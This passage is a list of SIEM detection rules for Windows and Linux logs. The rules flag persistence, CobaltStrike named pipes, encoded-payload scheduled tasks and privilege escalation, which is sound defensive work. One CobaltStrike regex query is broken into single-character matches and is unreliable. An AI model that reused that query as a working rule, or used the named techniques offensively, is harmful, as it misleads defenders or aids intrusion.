"Phishing", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@sam0x90"], "license": ""}
{"description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c435518d-7303-be5f-84cc-4b5760084c8c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hidden Local User Creation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4720\" AND winlog.event_data.TargetUserName:*$)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the creation of a macro file for Outlook. Goes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137. Particularly interesting if both events Registry & File Creation happens at the same time.", "enabled": false, "false_positives": ["User genuinly creates a VB Macro for their email"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "915775e1-33d6-7ce5-b5a4-a36a21ab72e5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Outlook C2 Macro Creation", "query": "file.path.text:*\\\\Microsoft\\\\Outlook\\\\VbaProject.OTM", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1008", "T1137", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@ScoubiMtl"], "license": ""}
{"description": "Detects the creation of a named pipe as used by CobaltStrike", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7afdf78f-9c92-b08d-645f-8f226f7be552", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CobaltStrike Named Pipe", "query": "((file.name:*\\\\MSSE\\-* AND file.name:*\\-server*) OR file.name:\\\\postex_* OR file.name:\\\\status_* OR file.name:\\\\msagent_*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Wojciech Lesicki"], "license": ""}
{"description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3b83df6a-22a7-f6b2-b59c-930ca4c2fa3d", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CobaltStrike Named Pipe Pattern Regex", "query": "(((file.name:/\\/ OR file.name:/\\/ OR file.name:/m/ OR file.name:/o/ OR file.name:/j/ OR file.name:/o/ OR file.name:/\\/ OR file.name:/./ OR file.name:/5/ OR file.name:/6/ OR file.name:/8/ OR file.name:/8/ OR file.name:/\\/ OR file.name:/./ OR file.name:/8/ OR file.name:/0/ OR file.name:/5/ OR file.name:/2/ OR file.name:/\\/ OR file.name:/./ OR file.name:/(/ OR file.name:/?/ OR file.name:/:/ OR file.name:/1/ OR file.name:/8/ OR file.name:/3/ OR file.name:/8/ OR file.name:/9/ OR file.name:/4/ OR file.name:/9/ OR file.name:/3/ OR file.name:/9/ OR file.name:/7/ OR file.name:/8/ OR file.name:/7/ OR file.name:/0/ OR file.name:/8/ OR file.name:/8/ OR file.name:/8/ OR file.name:/7/ OR file.name:/7/ OR file.name:/|/ OR file.name:/3/ OR file.name:/5/ OR file.name:/7/ OR file.name:/8/ OR file.name:/0/ OR file.name:/2/ OR file.name:/7/ OR file.name:/3/ OR file.name:/3/ OR file.name:/2/ OR file.name:/9/ OR file.name:/3/ OR file.name:/7/ OR file.name:/0/ OR file.name:/4/ OR file.name:/7/ OR file.name:/3/ OR file.name:/)/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/w/ OR file.name:/k/ OR file.name:/s/ OR file.name:/s/ OR file.name:/v/ OR file.name:/c/ OR file.name:/_/ OR file.name:/?/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/n/ OR file.name:/t/ OR file.name:/s/ OR file.name:/v/ OR file.name:/c/ OR file.name:/s/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/D/ OR file.name:/s/ OR file.name:/e/ OR file.name:/r/ OR file.name:/N/ OR file.name:/a/ OR file.name:/m/ OR file.name:/e/ OR file.name:/P/ OR file.name:/i/ OR file.name:/p/ OR file.name:/e/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/S/ OR file.name:/e/ OR file.name:/a/ OR file.name:/r/ OR file.name:/c/ OR file.name:/h/ OR file.name:/T/ OR file.name:/e/ OR file.name:/x/ OR file.name:/t/ OR file.name:/H/ OR file.name:/a/ OR file.name:/r/ OR file.name:/v/ OR file.name:/e/ OR file.name:/s/ OR file.name:/t/ OR file.name:/e/ OR file.name:/r/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/m/ OR file.name:/y/ OR file.name:/p/ OR file.name:/i/ OR file.name:/p/ OR file.name:/e/ OR file.name:/-/ OR file.name:/(/ OR file.name:/?/ OR file.name:/:/ OR file.name:/f/ OR file.name:/|/ OR file.name:/h/ OR file.name:/)/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/w/ OR file.name:/i/ OR file.name:/n/ OR file.name:/d/ OR file.name:/o/ OR file.name:/w/ OR file.name:/s/ OR file.name:/\\/ OR file.name:/./ OR file.name:/u/ OR file.name:/p/ OR file.name:/d/ OR file.name:/a/ OR file.name:/t/ OR file.name:/e/ OR file.name:/\\/ OR file.name:/./ OR file.name:/m/ OR file.name:/a/ OR file.name:/n/ OR file.name:/a/ OR file.name:/g/ OR file.name:/e/ OR file.name:/r/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/,/ OR file.name:/3/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/n/ OR file.name:/t/ OR file.name:/s/ OR file.name:/v/ OR file.name:/c/ OR file.name:/s/ OR file.name:/_/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/s/ OR file.name:/c/ OR file.name:/e/ OR file.name:/r/ OR file.name:/p/ OR file.name:/c/ OR file.name:/_/ OR file.name:/?/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/P/ OR file.name:/G/ OR file.name:/M/ OR file.name:/e/ OR file.name:/s/ OR file.name:/s/ OR file.name:/a/ OR file.name:/g/ OR file.name:/e/ OR file.name:/P/ OR file.name:/i/ OR file.name:/p/ OR file.name:/e/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/M/ OR file.name:/s/ OR file.name:/F/ OR file.name:/t/ OR file.name:/e/ OR file.name:/W/ OR file.name:/d/ OR file.name:/s/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/f/ OR file.name:/4/ OR file.name:/c/ OR file.name:/3/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/f/ OR file.name:/u/ OR file.name:/l/ OR file.name:/l/ OR file.name:/d/ OR file.name:/u/ OR file.name:/p/ OR file.name:/l/ OR file.name:/e/ OR file.name:/x/ OR file.name:/_/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/m/ OR file.name:/s/ OR file.name:/r/ OR file.name:/p/ OR file.name:/c/ OR file.name:/_/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/4/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/w/ OR file.name:/i/ OR file.name:/n/ OR file.name:/\\/ OR file.name:/\\/ OR file.name:/m/ OR file.name:/s/ OR file.name:/r/ OR file.name:/p/ OR file.name:/c/ OR file.name:/_/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/f/ OR file.name:/5/ OR file.name:/3/ OR file.name:/f/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/r/ OR file.name:/p/ OR file.name:/c/ OR file.name:/_/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/s/ OR file.name:/p/ OR file.name:/o/ OR file.name:/o/ OR file.name:/l/ OR file.name:/s/ OR file.name:/s/ OR file.name:/_/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/2/ OR file.name:/}/)) OR ((file.name:/\\/ OR file.name:/\\/ OR file.name:/W/ OR file.name:/i/ OR file.name:/n/ OR file.name:/s/ OR file.name:/o/ OR file.name:/c/ OR file.name:/k/ OR file.name:/2/ OR file.name:/\\/ OR file.name:/\\/ OR file.name:/C/ OR file.name:/a/ OR file.name:/t/ OR file.name:/a/ OR file.name:/l/ OR file.name:/o/ OR file.name:/g/ OR file.name:/C/ OR file.name:/h/ OR file.name:/a/ OR file.name:/n/ OR file.name:/g/ OR file.name:/e/ OR file.name:/L/ OR file.name:/i/ OR file.name:/s/ OR file.name:/t/ OR file.name:/e/ OR file.name:/n/ OR file.name:/e/ OR file.name:/r/ OR file.name:/-/ OR file.name:/[/ OR file.name:/0/ OR file.name:/-/ OR file.name:/9/ OR file.name:/a/ OR file.name:/-/ OR file.name:/f/ OR file.name:/]/ OR file.name:/{/ OR file.name:/3/ OR file.name:/}/ OR file.name:/-/ OR file.name:/0/ OR file.name:/,/)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of a named pipe used by known APT malware", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0a708148-b980-6a34-110a-d002bf628a18", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Malicious Named Pipe", "query": "file.name:(\"\\\\isapi_http\" OR \"\\\\isapi_dg\" OR \"\\\\isapi_dg2\" OR \"\\\\sdlrpc\" OR \"\\\\ahexec\" OR \"\\\\winsession\" OR \"\\\\lsassw\" OR \"\\\\46a676ab7f179e511e30dd2dc41bd388\" OR \"\\\\9f81f59bc58452127884ce513865ed20\" OR \"\\\\e710f28d59aa529d6792ca6ff0ca1b34\" OR \"\\\\rpchlp_3\" OR \"\\\\NamePipe_MoreWindows\" OR \"\\\\pcheap_reuse\" OR \"\\\\gruntsvc\" OR \"\\\\583da945\\-62af\\-10e8\\-4902\\-a8f205c72b2e\" OR \"\\\\bizkaz\" OR \"\\\\svcctl\" OR \\\\Posh* OR \"\\\\jaccdpqnvbrrxlaf\" OR \"\\\\csexecsvc\" OR \"\\\\6e7645c4\\-32c5\\-4fe3\\-aabf\\-e94c2f4370e7\" OR \"\\\\adschemerpc\" OR \"\\\\AnonymousPipe\" OR \"\\\\bc367\" OR \"\\\\bc31a7\" OR \"\\\\testPipe\" OR \"\\\\dce_3d\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "blueteam0ps", "elhoim"], "license": ""}
{"description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", "enabled": false, "false_positives": ["Chrome instances using the exact same pipe name \"mojo.something\""], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "88d3a3b1-2c73-199f-6200-d283ffa92d4e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Named Pipe Patterns", "query": "(((file.name:(\\\\mojo.5688.8052.183894939787088877* OR \\\\mojo.5688.8052.35780273329370473* OR \\\\mypipe\\-f* OR \\\\mypipe\\-h* OR \\\\ntsvcs* OR \\\\scerpc* OR \\\\win_svc* OR \\\\spoolss* OR \\\\msrpc_* OR \\\\win\\\\msrpc_* OR \\\\wkssvc* OR \\\\f53f* OR \\\\windows.update.manager* OR \\\\SearchTextHarvester* OR \\\\DserNamePipe* OR \\\\PGMessagePipe* OR \\\\MsFteWds* OR \\\\f4c3* OR \\\\fullduplex_* OR \\\\rpc_*) OR file.name:(\"\\\\demoagent_11\" OR \"\\\\demoagent_22\")) OR (file.name:\\\\Winsock2\\\\CatalogChangeListener\\-* AND file.name:*\\-0,)) AND (NOT (file.name:(\"\\\\wkssvc\" OR \"\\\\spoolss\" OR \"\\\\scerpc\" OR \"\\\\ntsvcs\" OR \"\\\\SearchTextHarvester\" OR \"\\\\PGMessagePipe\" OR \"\\\\MsFteWds\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Christian Burkard"], "license": ""}
{"description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", "author": ["Marie Euler", "Pawel Mazur"], "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e64465a1-8fbf-1dfd-a5e5-ee97459e2d1b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Creation Of An User Account", "query": "(((type:\"SYSCALL\" AND exe:*\\/useradd)) OR (type:\"ADD_USER\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6e657061-f87a-502a-c873-6f64db31d2dc", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Creation Of A Local User Account", "query": "(process.executable:*\\/dscl AND process.command_line:*create*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects the creation of a process from Windows task manager", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a2b9b6eb-cad9-b259-7e36-d26c359718f7", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Taskmgr as Parent", "query": "(process.parent.executable:*\\\\taskmgr.exe AND (NOT (process.executable:(*\\\\resmon.exe OR *\\\\mmc.exe OR *\\\\taskmgr.exe))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of a remote thread from a Powershell process to another process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7caa09a7-ffb3-aada-23b8-e1f490cf4b4e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Accessing WinAPI in PowerShell. Code Injection", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (NOT ((SourceParentImage:\"C\\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f3b07bd4-5906-e189-f9da-511620e65436", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Scheduled Task Executing Powershell Encoded Payload from Registry", "query": "(process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Create* AND process.command_line:*\\/SC* AND process.command_line:*FromBase64String* AND process.command_line:*Get\\-ItemProperty* AND process.command_line:(*HKCU\\:* OR *HKLM\\:* OR *registry\\:\\:* OR *HKEY_*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@Kostastsale", "@TheDFIRReport", "slightly modified by pH-T"], "license": ""}
{"description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7074ed33-02e5-91d9-a559-45eadd9ef9d7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Schtasks Execution AppData Folder", "query": "((process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\/Create* AND process.command_line.text:*\\/RU* AND process.command_line.text:*\\/TR* AND process.command_line.text:*C\\:\\\\Users\\\\* AND process.command_line.text:*\\\\AppData\\\\Local\\\\* AND process.command_line.text:(*NT\\ AUT* OR *\\ SYSTEM\\ *)) AND (NOT (process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.parent.executable.text:*TeamViewer_.exe* AND process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\/TN\\ TVInstallRestore*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", "enabled": false, "false_positives": ["False positives are possible, depends on organisation and processes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a55f158-d558-f546-8292-5f26848749c4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Default PowerSploit and Empire Schtasks Persistence", "query": "(process.parent.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Create* AND process.command_line:*\\/SC* AND process.command_line:*\\/TN* AND process.command_line:*Updater* AND process.command_line:*\\/TR* AND process.command_line:*powershell* AND process.command_line:(*ONLOGON* OR *DAILY* OR *ONIDLE* OR *Updater*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1053", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "@Karneades"], "license": ""}
{"description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", "enabled": false, "false_positives": ["Other legitimate browsers not currently included in the filter (please add them)", "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "208bf444-247b-0732-be14-a6abd8b84e0e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Creation Of a Suspicious ADS File Outside a Browser Download", "query": "((Contents:\\[ZoneTransfer\\]\\ \\ ZoneId\\=3* AND file.path.text:*\\:Zone.Identifier AND file.path.text:(*.exe* OR *.scr* OR *.bat* OR *.cmd* OR *.docx* OR *.hta* OR *.jse* OR *.lnk* OR *.pptx* OR *.ps* OR *.reg* OR *.sct* OR *.vb* OR *.wsc* OR *.wsf* OR *.xlsx*)) AND (NOT (process.executable.text:(*\\\\brave.exe OR *\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe OR *\\\\chromium.exe OR *\\\\firefox.exe OR *\\\\msedge.exe OR *\\\\opera.exe OR *\\\\microsoftedge.exe OR *\\\\iexplorer.exe OR *\\\\vivaldi.exe OR *\\\\CCleaner\\ Browser\\\\Application\\\\CCleanerBrowser.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the creation of a symbolic link between \"cmd.exe\" and the accessibility on-screen keyboard binary (osk.exe) using \"mklink\". This technique provides an elevated command prompt to the user from the login screen without the need to log in.", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f73ec748-0584-1896-dd04-9998612255d6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Privilege Escalation Using Symlink Between Osk and Cmd", "query": "(((process.executable.text:*\\\\cmd.exe) OR (winlog.event_data.OriginalFileName:\"Cmd.Exe\")) AND (process.command_line.text:*mklink* AND process.command_line.text:*\\\\osk.exe* AND process.command_line.text:*\\\\cmd.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1546"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
